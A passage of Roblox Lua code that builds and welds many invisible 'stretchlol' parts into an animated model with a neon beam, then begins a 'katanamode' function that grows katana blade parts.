Enum.PartType.Ball obj51.Name = "stretchlol" obj51.Parent = obj41 -- 52 - stretchlol local obj52 = Instance.new("Part") obj52.CFrame = CFrame.new(Vector3.new(66.868927, 3.45350599, 6.82578087)) * CFrame.Angles(-2.4803557395935, 1.123170375824, 2.1302044391632) obj52.CanCollide = false obj52.Transparency = 1 obj52.TopSurface = Enum.SurfaceType.Smooth obj52.BottomSurface = Enum.SurfaceType.Smooth obj52.Material = Enum.Material.SmoothPlastic obj52.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj52.BrickColor = BrickColor.new("Pastel brown") obj52.Friction = 0.30000001192093 obj52.Shape = Enum.PartType.Ball obj52.Name = "stretchlol" obj52.Parent = obj41 -- 53 - stretchlol local obj53 = Instance.new("Part") obj53.CFrame = CFrame.new(Vector3.new(67.287262, 3.10603261, 7.30382156)) * CFrame.Angles(9.1487750708552e-09, -0.34906616806984, -1.0471986532211) obj53.CanCollide = false obj53.Transparency = 1 obj53.TopSurface = Enum.SurfaceType.Smooth obj53.BottomSurface = Enum.SurfaceType.Smooth obj53.Material = Enum.Material.SmoothPlastic obj53.Size = Vector3.new(1.79999995, 1.04999995, 1.04999995) obj53.BrickColor = BrickColor.new("Pastel brown") obj53.Friction = 0.30000001192093 obj53.Shape = Enum.PartType.Cylinder obj53.Name = "stretchlol" obj53.Parent = obj41 -- 54 - stretchlol local obj54 = Instance.new("Part") obj54.CFrame = CFrame.new(Vector3.new(66.4686813, 4.02028799, 7.16550922)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj54.CanCollide = false obj54.Transparency = 1 obj54.TopSurface = Enum.SurfaceType.Smooth obj54.BottomSurface = Enum.SurfaceType.Smooth obj54.Material = Enum.Material.SmoothPlastic obj54.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj54.BrickColor = BrickColor.new("Pastel brown") obj54.Friction = 0.30000001192093 obj54.Shape = Enum.PartType.Ball obj54.Name = "stretchlol" obj54.Parent = obj41 -- 55 - stretchlol local obj55 = Instance.new("Part") obj55.CFrame = CFrame.new(Vector3.new(66.6615219, 4.17028332, 7.3953228)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj55.CanCollide = false obj55.Transparency = 1 obj55.TopSurface = Enum.SurfaceType.Smooth obj55.BottomSurface = Enum.SurfaceType.Smooth obj55.Material = Enum.Material.SmoothPlastic obj55.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj55.BrickColor = BrickColor.new("Pastel brown") obj55.Friction = 0.30000001192093 obj55.Shape = Enum.PartType.Ball obj55.Name = "stretchlol" obj55.Parent = obj41 -- 56 - stretchlol local obj56 = Instance.new("Part") obj56.CFrame = CFrame.new(Vector3.new(66.753746, 3.12474751, 7.32704115)) * CFrame.Angles(-2.0021269321442, 1.2287007570267, 1.6869416236877) obj56.CanCollide = false obj56.Transparency = 1 obj56.TopSurface = Enum.SurfaceType.Smooth obj56.BottomSurface = Enum.SurfaceType.Smooth obj56.Material = Enum.Material.SmoothPlastic obj56.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj56.BrickColor = BrickColor.new("Pastel brown") obj56.Friction = 0.30000001192093 obj56.Shape = Enum.PartType.Ball obj56.Name = "stretchlol" obj56.Parent = obj41 -- 57 - stretchlol local obj57 = Instance.new("Part") obj57.CFrame = CFrame.new(Vector3.new(67.2306061, 4.11047649, 7.28319883)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj57.CanCollide = false obj57.Transparency = 1 obj57.TopSurface = Enum.SurfaceType.Smooth obj57.BottomSurface = Enum.SurfaceType.Smooth obj57.Material = Enum.Material.SmoothPlastic obj57.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj57.BrickColor = BrickColor.new("Pastel brown") obj57.Friction = 0.30000001192093 obj57.Shape = Enum.PartType.Ball obj57.Name = "stretchlol" obj57.Parent = obj41 -- 58 - stretchlol local obj58 = Instance.new("Part") obj58.CFrame = CFrame.new(Vector3.new(67.0756683, 3.79114079, 7.63403416)) * CFrame.Angles(-2.4803557395935, 1.123170375824, 2.1302044391632) obj58.CanCollide = false obj58.Transparency = 1 obj58.TopSurface = Enum.SurfaceType.Smooth obj58.BottomSurface = Enum.SurfaceType.Smooth obj58.Material = Enum.Material.SmoothPlastic obj58.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj58.BrickColor = BrickColor.new("Pastel brown") obj58.Friction = 0.30000001192093 obj58.Shape = Enum.PartType.Ball obj58.Name = "stretchlol" obj58.Parent = obj41 -- 59 - stretchlol local obj59 = Instance.new("Part") obj59.CFrame = CFrame.new(Vector3.new(66.5005493, 3.73548079, 7.38994217)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj59.CanCollide = false obj59.Transparency = 1 obj59.TopSurface = Enum.SurfaceType.Smooth obj59.BottomSurface = Enum.SurfaceType.Smooth obj59.Material = Enum.Material.SmoothPlastic obj59.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj59.BrickColor = BrickColor.new("Pastel brown") obj59.Friction = 0.30000001192093 obj59.Shape = Enum.PartType.Ball obj59.Name = "stretchlol" obj59.Parent = obj41 -- 60 - stretchlol local obj60 = Instance.new("Part") obj60.CFrame = CFrame.new(Vector3.new(67.6487045, 3.41425848, 7.1938138)) * CFrame.Angles(-2.0021269321442, 1.2287007570267, 1.6869416236877) obj60.CanCollide = false obj60.Transparency = 1 obj60.TopSurface = Enum.SurfaceType.Smooth obj60.BottomSurface = Enum.SurfaceType.Smooth obj60.Material = Enum.Material.SmoothPlastic obj60.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj60.BrickColor = BrickColor.new("Pastel brown") obj60.Friction = 0.30000001192093 obj60.Shape = Enum.PartType.Ball obj60.Name = "stretchlol" obj60.Parent = obj41 -- 61 - stretchlol local obj61 = Instance.new("Part") obj61.CFrame = CFrame.new(Vector3.new(67.3677139, 3.85357118, 7.33310223)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj61.CanCollide = false obj61.Transparency = 1 obj61.TopSurface = Enum.SurfaceType.Smooth obj61.BottomSurface = Enum.SurfaceType.Smooth obj61.Material = Enum.Material.SmoothPlastic obj61.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj61.BrickColor = BrickColor.new("Pastel brown") obj61.Friction = 0.30000001192093 obj61.Shape = Enum.PartType.Ball obj61.Name = "stretchlol" obj61.Parent = obj41 -- 62 - stretchlol local obj62 = Instance.new("Part") obj62.CFrame = CFrame.new(Vector3.new(66.6352844, 3.40356588, 7.06651878)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj62.CanCollide = false obj62.Transparency = 1 obj62.TopSurface = Enum.SurfaceType.Smooth obj62.BottomSurface = Enum.SurfaceType.Smooth obj62.Material = Enum.Material.SmoothPlastic obj62.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj62.BrickColor = BrickColor.new("Pastel brown") obj62.Friction = 0.30000001192093 obj62.Shape = Enum.PartType.Ball obj62.Name = "stretchlol" obj62.Parent = obj41 -- 63 - stretchlol local obj63 = Instance.new("Part") obj63.CFrame = CFrame.new(Vector3.new(66.7236328, 4.28189754, 7.20509195)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj63.CanCollide = false obj63.Transparency = 1 obj63.TopSurface = Enum.SurfaceType.Smooth obj63.BottomSurface = Enum.SurfaceType.Smooth obj63.Material = Enum.Material.SmoothPlastic obj63.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj63.BrickColor = BrickColor.new("Pastel brown") obj63.Friction = 0.30000001192093 obj63.Shape = Enum.PartType.Ball obj63.Name = "stretchlol" obj63.Parent = obj41 -- 64 - stretchlol local obj64 = Instance.new("Part") obj64.CFrame = CFrame.new(Vector3.new(66.5712891, 4.02028799, 6.8835969)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj64.CanCollide = false obj64.Transparency = 1 obj64.TopSurface = Enum.SurfaceType.Smooth obj64.BottomSurface = Enum.SurfaceType.Smooth obj64.Material = Enum.Material.SmoothPlastic obj64.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj64.BrickColor = BrickColor.new("Pastel brown") obj64.Friction = 0.30000001192093 obj64.Shape = Enum.PartType.Ball obj64.Name = "stretchlol" obj64.Parent = obj41 -- 65 - stretchlol local obj65 = Instance.new("Part") obj65.CFrame = CFrame.new(Vector3.new(66.4981842, 3.66047978, 7.01661682)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj65.CanCollide = false obj65.Transparency = 1 obj65.TopSurface = Enum.SurfaceType.Smooth obj65.BottomSurface = Enum.SurfaceType.Smooth obj65.Material = Enum.Material.SmoothPlastic obj65.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj65.BrickColor = BrickColor.new("Pastel brown") obj65.Friction = 0.30000001192093 obj65.Shape = Enum.PartType.Ball obj65.Name = "stretchlol" obj65.Parent = obj41 -- 66 - stretchlol local obj66 = Instance.new("Part") obj66.CFrame = CFrame.new(Vector3.new(66.7920303, 4.28189754, 7.01715183)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj66.CanCollide = false obj66.Transparency = 1 obj66.TopSurface = Enum.SurfaceType.Smooth obj66.BottomSurface = Enum.SurfaceType.Smooth obj66.Material = Enum.Material.SmoothPlastic obj66.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj66.BrickColor = BrickColor.new("Pastel brown") obj66.Friction = 0.30000001192093 obj66.Shape = Enum.PartType.Ball obj66.Name = "stretchlol" obj66.Parent = obj41 -- 67 - stretchlol local obj67 = Instance.new("Part") obj67.CFrame = CFrame.new(Vector3.new(66.5950623, 4.18188763, 7.05188084)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj67.CanCollide = false obj67.Transparency = 1 obj67.TopSurface = Enum.SurfaceType.Smooth obj67.BottomSurface = Enum.SurfaceType.Smooth obj67.Material = Enum.Material.SmoothPlastic obj67.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj67.BrickColor = BrickColor.new("Pastel brown") obj67.Friction = 0.30000001192093 obj67.Shape = Enum.PartType.Ball obj67.Name = "stretchlol" obj67.Parent = obj41 -- 68 - stretchlol local obj68 = Instance.new("Part") obj68.CFrame = CFrame.new(Vector3.new(67.4115601, 3.73646879, 7.01420689)) * CFrame.Angles(-2.4803557395935, 1.123170375824, 2.1302044391632) obj68.CanCollide = false obj68.Transparency = 1 obj68.TopSurface = Enum.SurfaceType.Smooth obj68.BottomSurface = Enum.SurfaceType.Smooth obj68.Material = Enum.Material.SmoothPlastic obj68.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj68.BrickColor = BrickColor.new("Pastel brown") obj68.Friction = 0.30000001192093 obj68.Shape = Enum.PartType.Ball obj68.Name = "stretchlol" obj68.Parent = obj41 -- 69 - stretchlol local obj69 = Instance.new("Part") obj69.CFrame = CFrame.new(Vector3.new(66.8643951, 3.88548112, 7.14990711)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj69.CanCollide = false obj69.Transparency = 1 obj69.TopSurface = Enum.SurfaceType.Smooth obj69.BottomSurface = Enum.SurfaceType.Smooth obj69.Material = Enum.Material.SmoothPlastic obj69.Size = Vector3.new(1.04999995, 1.04999995, 1.04999995) obj69.BrickColor = BrickColor.new("Pastel brown") obj69.Friction = 0.30000001192093 obj69.Shape = Enum.PartType.Ball obj69.Name = "stretchlol" obj69.Parent = obj41 -- 70 - stretchlol local obj70 = Instance.new("Part") obj70.CFrame = CFrame.new(Vector3.new(67.4108353, 3.29388237, 6.88037777)) * CFrame.Angles(-3.058357000351, 0.5446692109108, 2.5818355083466) obj70.CanCollide = false obj70.Transparency = 1 obj70.TopSurface = Enum.SurfaceType.Smooth obj70.BottomSurface = Enum.SurfaceType.Smooth obj70.Material = Enum.Material.SmoothPlastic obj70.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj70.BrickColor = BrickColor.new("Pastel brown") obj70.Friction = 0.30000001192093 obj70.Shape = Enum.PartType.Ball obj70.Name = "stretchlol" obj70.Parent = obj41 -- 71 - stretchlol local obj71 = Instance.new("Part") obj71.CFrame = CFrame.new(Vector3.new(67.1960983, 3.65356374, 6.79175806)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj71.CanCollide = false obj71.Transparency = 1 obj71.TopSurface = Enum.SurfaceType.Smooth obj71.BottomSurface = Enum.SurfaceType.Smooth obj71.Material = Enum.Material.SmoothPlastic obj71.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj71.BrickColor = BrickColor.new("Pastel brown") obj71.Friction = 0.30000001192093 obj71.Shape = Enum.PartType.Ball obj71.Name = "stretchlol" obj71.Parent = obj41 -- 72 - stretchlol local obj72 = Instance.new("Part") obj72.CFrame = CFrame.new(Vector3.new(66.944519, 3.22988653, 7.64748716)) * CFrame.Angles(-3.058357000351, 0.5446692109108, 2.5818355083466) obj72.CanCollide = false obj72.Transparency = 1 obj72.TopSurface = Enum.SurfaceType.Smooth obj72.BottomSurface = Enum.SurfaceType.Smooth obj72.Material = Enum.Material.SmoothPlastic obj72.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj72.BrickColor = BrickColor.new("Pastel brown") obj72.Friction = 0.30000001192093 obj72.Shape = Enum.PartType.Ball obj72.Name = "stretchlol" obj72.Parent = obj41 -- 73 - stretchlol local obj73 = Instance.new("Part") obj73.CFrame = CFrame.new(Vector3.new(66.851532, 3.04020095, 7.04717398)) * CFrame.Angles(-3.058357000351, 0.5446692109108, 2.5818355083466) obj73.CanCollide = false obj73.Transparency = 1 obj73.TopSurface = Enum.SurfaceType.Smooth obj73.BottomSurface = Enum.SurfaceType.Smooth obj73.Material = Enum.Material.SmoothPlastic obj73.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj73.BrickColor = BrickColor.new("Pastel brown") obj73.Friction = 0.30000001192093 obj73.Shape = Enum.PartType.Ball obj73.Name = "stretchlol" obj73.Parent = obj41 -- 74 - stretchlol local obj74 = Instance.new("Part") obj74.CFrame = CFrame.new(Vector3.new(66.5551376, 3.48395109, 7.33871603)) * CFrame.Angles(-2.4803557395935, 1.123170375824, 2.1302044391632) obj74.CanCollide = false obj74.Transparency = 1 obj74.TopSurface = Enum.SurfaceType.Smooth obj74.BottomSurface = Enum.SurfaceType.Smooth obj74.Material = Enum.Material.SmoothPlastic obj74.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj74.BrickColor = BrickColor.new("Pastel brown") obj74.Friction = 0.30000001192093 obj74.Shape = Enum.PartType.Ball obj74.Name = "stretchlol" obj74.Parent = obj41 -- 75 - stretchlol local obj75 = Instance.new("Part") obj75.CFrame = CFrame.new(Vector3.new(66.8069, 3.60357046, 7.60786104)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj75.CanCollide = false obj75.Transparency = 1 obj75.TopSurface = Enum.SurfaceType.Smooth obj75.BottomSurface = Enum.SurfaceType.Smooth obj75.Material = Enum.Material.SmoothPlastic obj75.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj75.BrickColor = BrickColor.new("Pastel brown") obj75.Friction = 0.30000001192093 obj75.Shape = Enum.PartType.Ball obj75.Name = "stretchlol" obj75.Parent = obj41 -- 76 - stretchlol local obj76 = Instance.new("Part") obj76.CFrame = CFrame.new(Vector3.new(67.0182953, 3.88547921, 6.72704411)) * CFrame.Angles(-3.1415927410126, 0.34906616806984, 2.6179955005646) obj76.CanCollide = false obj76.Transparency = 1 obj76.TopSurface = Enum.SurfaceType.Smooth obj76.BottomSurface = Enum.SurfaceType.Smooth obj76.Material = Enum.Material.SmoothPlastic obj76.Size = Vector3.new(0.300000012, 0.300000012, 0.300000012) obj76.BrickColor = BrickColor.new("Pastel brown") obj76.Friction = 0.30000001192093 obj76.Shape = Enum.PartType.Ball obj76.Name = "stretchlol" obj76.Parent = obj41 obj1.PrimaryPart = obj4 local stretches = obj41:GetChildren() for i,v in pairs(stretches) do v.Anchored = true v.Parent = obj1 end for i,v in pairs(obj2:GetChildren()) do v.Anchored = true v.Parent = obj1 end obj2:Destroy() obj41:Destroy() local previous = nil for i,v in pairs(obj1:GetChildren()) do if v:IsA('BasePart') then if previous then local weld = Instance.new('Weld',v) weld.Part0 = v weld.Part1 = previous weld.C0 = v.CFrame:inverse() * previous.CFrame previous.Anchored = false previous.CanCollide = false local vee = v weld.AncestryChanged:connect(function(mez,par) wait() weld.Parent = vee end) end previous = v end end previous.Anchored = false previous.CanCollide = false obj1:SetPrimaryPartCFrame(handle.CFrame*CFrame.Angles(0,math.rad(180),0)+Vector3.new(0,100,0)) -- 2 - Part local ree = Instance.new("Part") ree.CFrame = CFrame.new(Vector3.new(50.5, 141, 5.5)) ree.Transparency = 0.80000001192093 ree.Material = Enum.Material.Neon ree.CFrame = CFrame.new(obj4.Position) ree.Size = Vector3.new(5, math.huge, 5) ree.BrickColor = BrickColor.new("New Yeller") ree.Friction = 0.30000001192093 ree.Shape = Enum.PartType.Block ree.Parent = handle -- 3 - Mesh local ree2 = Instance.new("CylinderMesh") ree2.Parent = ree local thing = Instance.new('BodyPosition',obj9) local thing2 = Instance.new('BodyPosition',ree) thing2.P = 100000 thing2.MaxForce = Vector3.new(math.huge,math.huge,math.huge) thing.MaxForce = Vector3.new(10000,10000,10000) for i=1,100 do thing2.Position = obj4.Position obj1:SetPrimaryPartCFrame(CFrame.new(obj1.PrimaryPart.Position)*CFrame.Angles(math.rad(handle.Orientation.X),math.rad(handle.Orientation.Y),math.rad(handle.Orientation.Z))*CFrame.Angles(0,math.rad(180),0)) thing.Position = handle.Position+(handle.CFrame.rightVector*0.5) wait() end thing:Destroy() local lmfao = Instance.new('Weld',obj4) lmfao.C0 = CFrame.new(2.5,0.2,0)*CFrame.Angles(0,math.rad(180),0) lmfao.Part0 = obj4 lmfao.Part1 = handle ree:Destroy() working = false end function katanamode() blademode = "katana" -- 1 - weeb shit local weebshit1 = handle -- 16 - top cap local weebshit16 = Instance.new("Part") weebshit16.CFrame = CFrame.new(Vector3.new(206.400146, 11.5499945, 5.00058556)) * CFrame.Angles(-3.1415927410126, 0, 1.5707963705063) weebshit16.LeftSurface = Enum.SurfaceType.SmoothNoOutlines weebshit16.TopSurface = Enum.SurfaceType.SmoothNoOutlines weebshit16.RightSurface = Enum.SurfaceType.SmoothNoOutlines weebshit16.FrontSurface = Enum.SurfaceType.SmoothNoOutlines weebshit16.BottomSurface = Enum.SurfaceType.SmoothNoOutlines weebshit16.Size = Vector3.new(0.1, 0.05,0.05) --0.65, 0.65 weebshit16.BackSurface = Enum.SurfaceType.SmoothNoOutlines weebshit16.Anchored = false weebshit16.BrickColor = BrickColor.new("Really black") weebshit16.Friction = 0.30000001192093 weebshit16.Shape = Enum.PartType.Cylinder weebshit16.Name = "top cap" weebshit16.Parent = weebshit1 local weld = Instance.new('Weld',weebshit16) weld.Part0 = weebshit16 weld.Part1 = handle weld.C1 = CFrame.new(0.6, 0, 0, 1.00000048, 0, 0, 0, 1, 0, 0, 0, 1.00000048) --weld,part,endsize,endpos,amntime grow(weld,weebshit16,Vector3.new(0.1,0.65,0.65),CFrame.new(0.6, 0, 0, 1.00000048, 0, 0, 0, 1, 0, 0, 0, 1.00000048),0.1) -- 8 - blade local weebshit8 = Instance.new("Part") weebshit8.LeftSurface = Enum.SurfaceType.SmoothNoOutlines weebshit8.TopSurface = Enum.SurfaceType.SmoothNoOutlines weebshit8.RightSurface = Enum.SurfaceType.SmoothNoOutlines weebshit8.FrontSurface = Enum.SurfaceType.SmoothNoOutlines weebshit8.BottomSurface = Enum.SurfaceType.SmoothNoOutlines weebshit8.Material = Enum.Material.Metal weebshit8.Size = Vector3.new(0.23,0.05, 0.1) weebshit8.BackSurface = Enum.SurfaceType.SmoothNoOutlines weebshit8.Anchored = false weebshit8.BrickColor = BrickColor.new("Dark stone grey") weebshit8.Friction = 0.30000001192093 weebshit8.Shape = Enum.PartType.Block weebshit8.Name = "blade" weebshit8.Parent = weebshit1 weebshit8:BreakJoints() local bld1 = weebshit8 local weld2 = Instance.new('Weld',weebshit8) weld2.Part0 = weebshit8 weld2.Part1 = handle weld2.C1 = CFrame.new(0.75, 0, 0) * CFrame.Angles(math.rad(180), 0, math.rad(-90)) local coru=coroutine.wrap(function() grow(weld2,weebshit8,Vector3.new(0.23,1.17,0.1),CFrame.new(1.25, 0, 0) * CFrame.Angles(math.rad(180), 0, math.rad(-90)),0.05) end) coru() -- 9 - blade local weebshit9 = Instance.new("Part") weebshit9.CFrame = CFrame.new(Vector3.new(206.475388, 13.3372736, 5.00158167)) * CFrame.Angles(-0, 0, 0.052359949797392) weebshit9.LeftSurface = Enum.SurfaceType.SmoothNoOutlines weebshit9.TopSurface = Enum.SurfaceType.SmoothNoOutlines weebshit9.RightSurface = Enum.SurfaceType.SmoothNoOutlines weebshit9.FrontSurface = Enum.SurfaceType.SmoothNoOutlines weebshit9.BottomSurface = Enum.SurfaceType.SmoothNoOutlines weebshit9.Material = Enum.Material.Metal weebshit9.Size = Vector3.new(0.100000009, 0.05, 0.0500000007) weebshit9.BackSurface = Enum.SurfaceType.SmoothNoOutlines weebshit9.Anchored = false weebshit9.BrickColor = BrickColor.new("Pearl") weebshit9.Friction = 0.30000001192093 weebshit9.Shape = Enum.PartType.Block weebshit9.Name = "blade" weebshit9.Parent = weebshit8 local bld2 = weebshit9 local weld3 = Instance.new('Weld',weebshit9) weld3.Part0 = weebshit9 weld3.Part1 = weebshit8 weld3.C1 = CFrame.new(0.11, 0, 0) * CFrame.Angles(0, 0, 0) grow(weld3,weebshit9,Vector3.new(0.100000009, 1.17, 0.0500000007),CFrame.new(0.11, 0, 0) * CFrame.Angles(0, 0, 0),0.05) -- 10 - blade local weebshit10 = Instance.new("Part") weebshit10.CFrame = CFrame.new(Vector3.new(206.26973, 14.458313, 5)) * CFrame.Angles(-0, 0, 0.10472027212381) weebshit10.LeftSurface = Enum.SurfaceType.SmoothNoOutlines weebshit10.TopSurface = Enum.SurfaceType.SmoothNoOutlines weebshit10.RightSurface = Enum.SurfaceType.SmoothNoOutlines weebshit10.FrontSurface = Enum.SurfaceType.SmoothNoOutlines weebshit10.BottomSurface = Enum.SurfaceType.SmoothNoOutlines weebshit10.Material = Enum.Material.Metal weebshit10.Size = Vector3.new(0.229999945, 0.05, 0.100000009) weebshit10.BackSurface = Enum.SurfaceType.SmoothNoOutlines weebshit10.Anchored = false weebshit10.BrickColor = BrickColor.new("Dark stone grey") weebshit10.Friction = 0.30000001192093 weebshit10.Shape = Enum.PartType.Block weebshit10.Name = "blade" weebshit10.Parent = weebshit1 local weld4 = Instance.new('Weld',weebshit10) weld4.Part0 = weebshit10 weld4.Part1 = weebshit8 weld4.C1 = CFrame.new(-0.01, 0.55, -1.14440918e-05, 0.998631477, 0.0523363762, -1.25522347e-05, 0.0523363687, -0.998631358, -8.97663813e-06, -1.3056685e-05, 8.01841452e-06, -1.00000095) local coru=coroutine.wrap(function() grow(weld4,weebshit10,Vector3.new(0.23,1.17,0.1),CFrame.new(-0.0285797119, 1.14634609, -1.14440918e-05, 0.998631477, 0.0523363762, -1.25522347e-05, 0.0523363687, -0.998631358, -8.97663813e-06, -1.3056685e-05, 8.01841452e-06, -1.00000095),0.1) end) coru() -- 11 - blade local weebshit11 = Instance.new("Part") weebshit11.CFrame = CFrame.new(Vector3.new(206.384079, 14.4703341, 5.00158167)) * CFrame.Angles(-0, 0, 0.10472027212381) weebshit11.LeftSurface = Enum.SurfaceType.SmoothNoOutlines weebshit11.TopSurface = Enum.SurfaceType.SmoothNoOutlines weebshit11.RightSurface = Enum.SurfaceType.SmoothNoOutlines weebshit11.FrontSurface = Enum.SurfaceType.SmoothNoOutlines weebshit11.BottomSurface = Enum.SurfaceType.SmoothNoOutlines weebshit11.Material = Enum.Material.Metal weebshit11.Size = Vector3.new(0.100000009, 0.05, 0.0500000007) weebshit11.BackSurface = Enum.SurfaceType.SmoothNoOutlines weebshit11.Anchored = false weebshit11.BrickColor = BrickColor.new("Pearl") weebshit11.Friction = 0.30000001192093 weebshit11.Shape = Enum.PartType.Block weebshit11.Name = "blade" weebshit11.Parent = weebshit1 local weld5 = Instance.new('Weld',weebshit10) weld5.Part0 = weebshit10 weld5.Part1 = weebshit11 weld5.C1 = CFrame.new(0.11, 0, 0) * CFrame.Angles(0, 0, 0) grow(weld5,weebshit11,Vector3.new(0.100000009, 1.16999841, 0.0500000007),CFrame.new(-0.11, 0, 0) * CFrame.Angles(0, 0, 0),0.1) -- 15 - blade local weebshit15 = Instance.new("Part") weebshit15.CFrame = CFrame.new(Vector3.new(206.36055, 13.3312511, 5)) * CFrame.Angles(-0, 0, 0.052359949797392) weebshit15.LeftSurface = Enum.SurfaceType.SmoothNoOutlines weebshit15.TopSurface = Enum.SurfaceType.SmoothNoOutlines weebshit15.RightSurface = Enum.SurfaceType.SmoothNoOutlines weebshit15.FrontSurface = Enum.SurfaceType.SmoothNoOutlines weebshit15.BottomSurface = Enum.SurfaceType.SmoothNoOutlines weebshit15.Material = Enum.Material.Metal weebshit15.Size = Vector3.new(0.229999945, 0.55, 0.100000009) weebshit15.BackSurface = Enum.SurfaceType.SmoothNoOutlines weebshit15.Anchored = false weebshit15.BrickColor = BrickColor.new("Dark stone grey") weebshit15.Friction = 0.30000001192093 weebshit15.Shape = Enum.PartType.Block weebshit15.Name = "blade" weebshit15.Parent = weebshit1 local weld6 = Instance.new('Weld',weebshit15) weld6.Part0 = weebshit15 weld6.Part1 = weebshit10 weld6.C1 = CFrame.new(-0.01, -0.55, 0, 0.99863112, -0.0523363762, 5.34574838e-07, -0.0523363203, -0.998631358, 9.75034527e-06, 9.04611142e-08, -1.00508332e-05, -1.0000006) local coru=coroutine.wrap(function() grow(weld6,weebshit15,Vector3.new(0.229999945, 1.17000151, 0.100000009),CFrame.new(-0.0274810791, -1.13038063, 0, 0.99863112, -0.0523363762, 5.34574838e-07, -0.0523363203, -0.998631358, 9.75034527e-06, 9.04611142e-08, -1.00508332e-05, -1.0000006),0.1) end) coru() -- 12 - blade local weebshit12 = Instance.new("Part") weebshit12.CFrame = CFrame.new(Vector3.new(206.50705, 12.1849957, 5.00158167)) * CFrame.Angles(-0, 0, -0) weebshit12.LeftSurface = Enum.SurfaceType.SmoothNoOutlines weebshit12.TopSurface = Enum.SurfaceType.SmoothNoOutlines weebshit12.RightSurface = Enum.SurfaceType.SmoothNoOutlines weebshit12.FrontSurface = Enum.SurfaceType.SmoothNoOutlines weebshit12.BottomSurface = Enum.SurfaceType.SmoothNoOutlines weebshit12.Material = Enum.Material.Metal weebshit12.Size = Vector3.new(0.100000009, 0.05, 0.0500000007) weebshit12.BackSurface = Enum.SurfaceType.SmoothNoOutlines weebshit12.Anchored = false weebshit12.BrickColor = BrickColor.new("Pearl") weebshit12.Friction = 0.30000001192093 weebshit12.Shape = Enum.PartType.Block weebshit12.Name = "blade" weebshit12.Parent = weebshit1 local weld7 = Instance.new('Weld',weebshit12) weld7.Part0 = weebshit12 weld7.Part1 = weebshit15 weld7.C1 = CFrame.new(0.11, 0, 0) * CFrame.Angles(0, 0, 0) grow(weld7,weebshit12,Vector3.new(0.100000009, 1.16999841, 0.0500000007),CFrame.new(0.11, 0, 0) * CFrame.Angles(0, 0, 0),0.1) -- 14 - blade local weebshit14 = Instance.new("Part") weebshit14.CFrame = CFrame.new(Vector3.new(206.155365, 15.3628922, 5)) * CFrame.Angles(-0, 0, 0.15708021819592) weebshit14.LeftSurface = Enum.SurfaceType.SmoothNoOutlines weebshit14.TopSurface = Enum.SurfaceType.SmoothNoOutlines weebshit14.RightSurface = Enum.SurfaceType.SmoothNoOutlines weebshit14.FrontSurface = Enum.SurfaceType.SmoothNoOutlines weebshit14.BottomSurface = Enum.SurfaceType.SmoothNoOutlines weebshit14.Material = Enum.Material.Metal weebshit14.Size = Vector3.new(0.229999945, 0.05, 0.100000009) weebshit14.BackSurface = Enum.SurfaceType.SmoothNoOutlines weebshit14.Anchored = false weebshit14.BrickColor = BrickColor.new("Dark stone grey") weebshit14.Friction = 0.30000001192093 weebshit14.Shape = Enum.PartType.Block weebshit14.Name = "blade" weebshit14.Parent = weebshit1 local weld8 = Instance.new('Weld',weebshit14) weld8.Part0 = weebshit14 weld8.Part1 = weebshit15 weld8.C1 = CFrame.new(-0.01, 0.45, -1.43051147e-06, 0.99862963, 0.0522801876, -1.10407145e-05, 0.0522794127, 0.998632491, -1.50609173e-06, 8.47656065e-06, 1.7598054e-06, 1) local coru=coroutine.wrap(function() grow(weld8,weebshit14,Vector3.new(0.229999945, 0.700001657, 0.100000009),CFrame.new(-0.0191650391, 0.911635399, -1.43051147e-06, 0.99862963, 0.0522801876, -1.10407145e-05, 0.0522794127, 0.998632491, -1.50609173e-06, 8.47656065e-06, 1.7598054e-06, 1),0.1) end) coru() -- 13 - blade local weebshit13 = Instance.new("Part") weebshit13.CFrame = CFrame.new(Vector3.new(206.268967, 15.3808832, 5.00158167)) * CFrame.Angles(-0, 0, 0.15708021819592) weebshit13.LeftSurface = Enum.SurfaceType.SmoothNoOutlines weebshit13.TopSurface = Enum.SurfaceType.SmoothNoOutlines weebshit13.RightSurface = Enum.SurfaceType.SmoothNoOutlines weebshit13.FrontSurface = Enum.SurfaceType.SmoothNoOutlines weebshit13.BottomSurface = Enum.SurfaceType.SmoothNoOutlines weebshit13.Material = Enum.Material.Metal weebshit13.Size = Vector3.new(0.100000009, 0.05, 0.0500000007) 